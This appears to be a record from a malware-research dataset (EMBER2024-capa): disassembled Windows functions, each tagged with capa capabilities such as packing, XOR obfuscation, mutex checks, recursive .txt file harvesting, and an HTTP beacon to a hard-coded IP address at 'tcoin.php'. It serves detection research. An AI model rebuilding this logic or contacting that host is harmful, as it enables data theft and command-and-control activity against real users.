joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40477d
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xdc
mov eax, dword [0x42d068]
xor eax, esp
mov dword [esp + 0xd8], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov dword [esp + 8], eax
xor ebx, ebx
push edi
xor eax, eax
mov dword [esp + 0xac], ebx
push 0x208
mov dword [esp + 0xb4], 7
mov word [esp + 0xa0], ax
call fcn.004085dc
mov esi, eax
mov dword [esp], 0x104
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x5c
push esi
call fcn.0040978c
pop ecx
pop ecx
test eax, eax
jne 0x4047f3
mov edi, ebx
jmp 0x4047ff
add eax, 2
push eax
call fcn.0040dce1
pop ecx
mov edi, eax
push esi
call fcn.004085e5
pop ecx
push edi
lea ecx, [esp + 0xa0]
call fcn.00404999
lea ecx, [esp + 0x84]
call fcn.00404318
push ecx
lea edx, [esp + 0x88]
lea ecx, [esp + 0xd0]
call fcn.0040592d
pop ecx
lea ecx, [esp + 0x9c]
push ecx
mov ecx, eax
call fcn.0040554f
push eax
lea ecx, [esp + 0xb8]
call fcn.00406cbc
lea ecx, [esp + 0xcc]
call fcn.00406fd4
push 0x44
pop esi
push esi
lea eax, [esp + 0x24]
push ebx
push eax
call fcn.0040a3d0
xor eax, eax
mov dword [esp + 0x2c], esi
lea edi, [esp + 0x1c]
mov dword [esp + 0x88], ebx
stosd dword es:[edi], eax
lea ecx, [esp + 0x78]
add esp, 0xc
mov dword [esp + 0x80], 7
stosd dword es:[edi], eax
push 0x429a08
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ax, word [ebp + 0x14]
xor edi, edi
mov word [esp + 0x54], ax
inc edi
xor eax, eax
mov dword [esp + 0x50], edi
mov word [esp + 0x70], ax
call fcn.00404999
lea eax, [esp + 0xb4]
push eax
lea ecx, [esp + 0x70]
call fcn.0040554f
push 2
push 0x429a0c
lea ecx, [esp + 0x74]
call fcn.0040567a
push dword [esp + 0xc]
lea ecx, [esp + 0x70]
call fcn.004049c0
cmp dword [esp + 0x80], 8
lea eax, [esp + 0x6c]
cmovae eax, dword [esp + 0x6c]
push eax
call fcn.0040dce1
cmp dword [esp + 0x9c], 8
mov esi, eax
pop ecx
lea ecx, [esp + 0x84]
cmovae ecx, dword [esp + 0x84]
push ecx
call fcn.0040dce1
pop ecx
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x24]
push ecx
push eax
push ebx
push ebx
push edi
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x40493a
or ebx, 0xffffffff
jmp 0x404953
push dword [esp + 0x18]
call dword [sym.imp.USER32.dll_AllowSetForegroundWindow]
push 0x1388
push dword [esp + 0x14]
call dword [sym.imp.USER32.dll_WaitForInputIdle]
lea ecx, [esp + 0x6c]
call fcn.00406fd4
lea ecx, [esp + 0xb4]
call fcn.00406fd4
lea ecx, [esp + 0x84]
call fcn.00406fd4
lea ecx, [esp + 0x9c]
call fcn.00406fd4
mov ecx, dword [esp + 0xe4]
mov eax, ebx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004081d2
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4189fd
Capabilities:
Contain obfuscated stackstrings

Disassembly:
call fcn.00418709
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x418a32
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.00418744
mov dl, cl
mov al, 0x50
lea eax, [ebp - 0x40]
push eax
call fcn.00418754
push eax
push esi
push dword [ebp + 8]
call fcn.00418709
add esp, 0x10
mov dword [ebp - 0x88], eax
call fcn.00418744
xlatb
add eax, 0x458d26a7
call 0x5129e83a
mov byte [ebp - 0x17], bl
mov byte [ebp - 0x16], 0x40
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xe9
mov byte [ebp - 0x13], 0xd6
mov byte [ebp - 0x12], 0xcd
mov byte [ebp - 0x11], 0xcb
mov byte [ebp - 0x10], 0xca
mov byte [ebp - 0xf], 0xde
mov byte [ebp - 0xe], 0xd3
mov byte [ebp - 0xd], 0xf9
mov byte [ebp - 0xc], 0xcd
mov byte [ebp - 0xb], 0xda
mov byte [ebp - 0xa], 0xda
mov byte [ebp - 9], 0xbf
call fcn.00418754
push eax
push esi
push dword [ebp + 8]
call fcn.00418709
mov dword [ebp - 8], eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 0x6c], bl
mov byte [ebp - 0x6b], bl
mov byte [ebp - 0x6a], 0xbe
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.00418754
push eax
push esi
push dword [ebp + 8]
call fcn.00418709
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.00418754
push eax
push esi
push dword [ebp + 8]
call fcn.00418709
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.00418744
test bh, 0x1a
fisttp word [eax - 0x8363]
dec dword [eax - 0x8263]
inc esi
test dword [esi - 1], edi
invalid
Function at 0x418ddf
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x418df8
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x418df3
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x418ddd
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x418de5
cmp edx, ebx
jne 0x418f33
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x418db4
add eax, dword [eax + 4]
jmp 0x418da1
mov dword [ebp + 0xc], ebx
jmp 0x418e03

Function at 0x418e21
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x418e1b
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x418e39
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x418e97
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x418e7e
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x418e87
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x418e91
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x418e73
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x418dfd
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x418ee4
dec eax
je 0x418edb
sub eax, 3
je 0x418ed2
mov dword [ebp - 4], 0x40
jmp 0x418f01
mov dword [ebp - 4], 4
jmp 0x418ee7
mov dword [ebp - 4], 0x20
jmp 0x418ee7
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x418f33
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x418eb3
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
Function at 0x401000
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._serd46ssd.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x401053
xor al, al
jmp 0x40108d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40108b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4010a0
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
mov eax, dword [ebp + 8]
push eax
push str.http:__185.215.113.66_tcoin.php_s_s
lea ecx, [ebp - 0x3f0]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x40110d
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x3f0]
push edx
mov eax, dword [ebp - 0x3f4]
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401590
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x41c], ecx
cmp dword [ebp - 0x41c], 2
jb 0x401605
cmp dword [ebp - 0x41c], 3
jbe 0x4015cc
cmp dword [ebp - 0x41c], 6
je 0x4015cc
jmp 0x401605
push 0x208
lea edx, [ebp - 0x418]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x401605
push 4
push 0x40a1bc
lea ecx, [ebp - 0x418]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
jne 0x401605
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x401610
Capabilities:
Get disk information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x80000002
mov dword [ebp - 4], 0x80000001
mov dword [ebp - 0x14], 0
jmp 0x401646
mov eax, dword [ebp - 0x14]
add eax, 1
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jae 0x4016b6
lea ecx, [ebp - 0x18]
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + edx*4 - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4016b4
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 4
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x1c]
push edx
push 0
push 0
push str.NoDrives
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4016aa
cmp dword [ebp - 0x1c], 0
je 0x4016aa
mov ecx, dword [ebp - 0xc]
or ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40163d
mov eax, dword [ebp - 0xc]
not eax
and eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x4016d0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x494
mov byte [ebp - 1], 1
mov dword [ebp - 0x30], str.windows
mov dword [ebp - 0x2c], str.boot
mov dword [ebp - 0x28], str.system
mov dword [ebp - 0x24], str.programdata
mov dword [ebp - 0x20], str.program_files
mov dword [ebp - 0x1c], str.perflogs
mov dword [ebp - 0x18], str.intel
mov dword [ebp - 0x14], str.default
mov dword [ebp - 0x10], str.msocache
mov dword [ebp - 0xc], str.config
mov dword [ebp - 8], str._recycle.bin
push 0x250
push 0
lea eax, [ebp - 0x490]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x208
push 0
lea ecx, [ebp - 0x238]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x40a324
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea ecx, [ebp - 0x490]
push ecx
lea edx, [ebp - 0x238]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xffffffff
je 0x4018bb
mov eax, dword [ebp - 0x490]
and eax, 0x10
je 0x4017f6
push 0x40a328
lea ecx, [ebp - 0x464]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4017f1
push 0x40a32c
lea edx, [ebp - 0x464]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4017f1
lea eax, [ebp - 0x464]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x238]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x238]
push eax
call fcn.004016d0
add esp, 4
jmp 0x40189f
lea ecx, [ebp - 0x238]
mov dword [ebp - 0x240], ecx
mov edx, dword [ebp - 0x240]
push edx
call dword [sym.imp.USER32.dll_CharLowerW]
mov dword [ebp - 0x494], 0
jmp 0x40182a
mov eax, dword [ebp - 0x494]
add eax, 1
mov dword [ebp - 0x494], eax
cmp dword [ebp - 0x494], 0xb
jae 0x401859
mov ecx, dword [ebp - 0x494]
mov edx, dword [ebp + ecx*4 - 0x30]
push edx
mov eax, dword [ebp - 0x240]
push eax
call fcn.004018d0
add esp, 8
test eax, eax
je 0x401857
mov byte [ebp - 1], 0
jmp 0x401859
jmp 0x40181b
movzx ecx, byte [ebp - 1]
cmp ecx, 1
jne 0x40189f
push str..txt
lea edx, [ebp - 0x464]
push edx
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
je 0x40189f
lea eax, [ebp - 0x464]
push eax
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x238]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x238]
push eax
call fcn.00401300
add esp, 4
lea ecx, [ebp - 0x490]
push ecx
mov edx, dword [ebp - 0x23c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401793
mov eax, dword [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x401960
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.xx7x655x7xx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401996
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call section..text
movzx eax, al
test eax, eax
je 0x4019c4
push 0
push 0
push 0
push 0x4018f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xcdfe600
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4019b7
xor eax, eax
mov esp, ebp
pop ebp
ret 0x10
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x52086ea5
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x4300d2
nop
nop
mov ebx, 0x42e1d0
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x17504dde
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x510f70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xbc000]
push edi
jmp 0x510f8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x510f91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x510f80
mov eax, 1
add ebx, ebx
jne 0x510fa3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x510fb4
jne 0x510fd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x510fd3
dec eax
add ebx, ebx
jne 0x510fc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x510f98
add ebx, ebx
jne 0x510fcf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x511025
xor ecx, ecx
sub eax, 3
jb 0x510feb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x51105a
sar eax, 1
mov ebp, eax
jmp 0x510ff6
add ebx, ebx
jne 0x510ff6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x510fc4
inc ecx
add ebx, ebx
jne 0x511004
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x510fc4
add ebx, ebx
jne 0x511011
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x511006
jne 0x511022
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x511006
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x511044
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x511036
jmp 0x510f86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x511044
add edi, ecx
jmp 0x510f86
pop esi
mov edi, esi
mov ecx, 0x3ed9
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x511062
cmp byte [edi], 0x11
jne 0x511062
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x511067
lea edi, [esi + 0x109000]
mov eax, dword [edi]
or eax, eax
je 0x5110df
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x14959c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x149718]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x511094
mov ecx, edi
jns 0x5110c3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x14971c]
or eax, eax
je 0x5110d9
mov dword [ebx], eax
add ebx, 4
jmp 0x5110b1
call dword [esi + 0x14972c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x511110
cmp al, 0xef
ja 0x511103
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x5110e5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x5110f2
mov ebp, dword [esi + 0x149720]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x511144
sub esp, 0xffffff80
jmp 0x425f74
Function at 0x4f34e9
Capabilities:
Encode data using xor

Disassembly:
invalid
insb byte es:[edi], dx
outsb dx, byte [esi]
jecxz 0x4f34b8
add ch, byte [0xcbc4098c]
sub al, 0xe8
dec edi
clc
cwde
sbb eax, dword [esi + ecx]
cmp al, byte [eax + 0x711eb9e1]
ficom dword [ecx + 0x2fd7c0f8]
invalid
invalid
adc al, 0x21
sbb esi, dword [edx - 0x68]
mov edi, 0x61beb849
mov bh, 0x24
xor dword [edx - 7], ecx
popal
sar dword [esi + 0x8be3771], 1
loope 0x4f34cb
jecxz 0x4f34c2
popal
and eax, 0xa0ce284f
push esp
sahf
pop ss
pop ss
dec esi
int3

Function at 0x65782d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x65f398
cmp edx, dword [eax]
je 0x65784f
add eax, 8
inc ecx
cmp eax, 0x65f428
jl 0x657840
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x65f398]
jne 0x65797d
mov eax, dword [0xa5bcf4]
cmp eax, 1
je 0x657957
test eax, eax
jne 0x657880
cmp dword [0x65f2c4], 1
je 0x657957
cmp edx, 0xfc
je 0x65797d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x6578b7
lea eax, [ebp - 0x1a4]
push 0x65c9e0
push eax
call fcn.00658210
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.006586a0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x6578fa
lea eax, [ebp - 0x1a4]
push eax
call fcn.006586a0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x65c9dc
push edi
call fcn.0065a570
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x65c9c0
push eax
call fcn.00658210
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00658220
lea eax, [ebp - 0xa0]
push 0x65c9bc
push eax
call fcn.00658220
push dword [esi + 0x65f39c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00658220
push 0x12010
lea eax, [ebp - 0xa0]
push 0x65c994
push eax
call fcn.0065a4e4
add esp, 0x2c
pop edi
jmp 0x65797d
lea eax, [ebp + 8]
lea esi, [esi + 0x65f39c]
push 0
push eax
push dword [esi]
call fcn.006586a0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x10001000
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x170
mov eax, dword [0x10007018]
xor eax, esp
mov dword [esp + 0x16c], eax
mov eax, dword [0x100058f0]
mov cl, byte [0x100058f4]
lea edx, [esp + 0x68]
push edx
push 0
push 0
push 5
push 0
mov dword [0x100097c0], eax
mov byte [0x100097c4], cl
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jne 0x1000112e
push esi
push edi
lea edi, [esp + 0x70]
add edi, 0xffffffff
mov edi, edi
mov al, byte [edi + 1]
add edi, 1
test al, al
jne 0x10001050
push 0
mov ecx, 8
mov esi, str.DragonNestConfigPartition.ini
push 0x80
rep movsd dword es:[edi], dword [esi]
push 3
push 0
push 3
push 0x80000000
lea eax, [esp + 0x88]
push eax
movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x100010bb
push 0
push 0
push 0x28
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [esp + 0xc]
push ecx
push 0x64
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
push esi
jne 0x100010d4
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x16c]
xor ecx, esp
call fcn.1000431f
add esp, 0x170
ret
mov eax, dword [esp + 0xc]
mov byte [esp + eax + 0x10], 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
push ecx
call dword [sym.imp.MSVCR80.dll_atoi]
add esp, 4
cmp eax, 0x21
ja 0x100010bb
imul eax, eax, 0x32
lea eax, [eax + 0x10005218]
mov edx, 0x100097c0
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x10001106
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x16c]
xor ecx, esp
call fcn.1000431f
add esp, 0x170
ret
mov ecx, dword [esp + 0x16c]
xor ecx, esp
xor eax, eax
call fcn.1000431f
add esp, 0x170
ret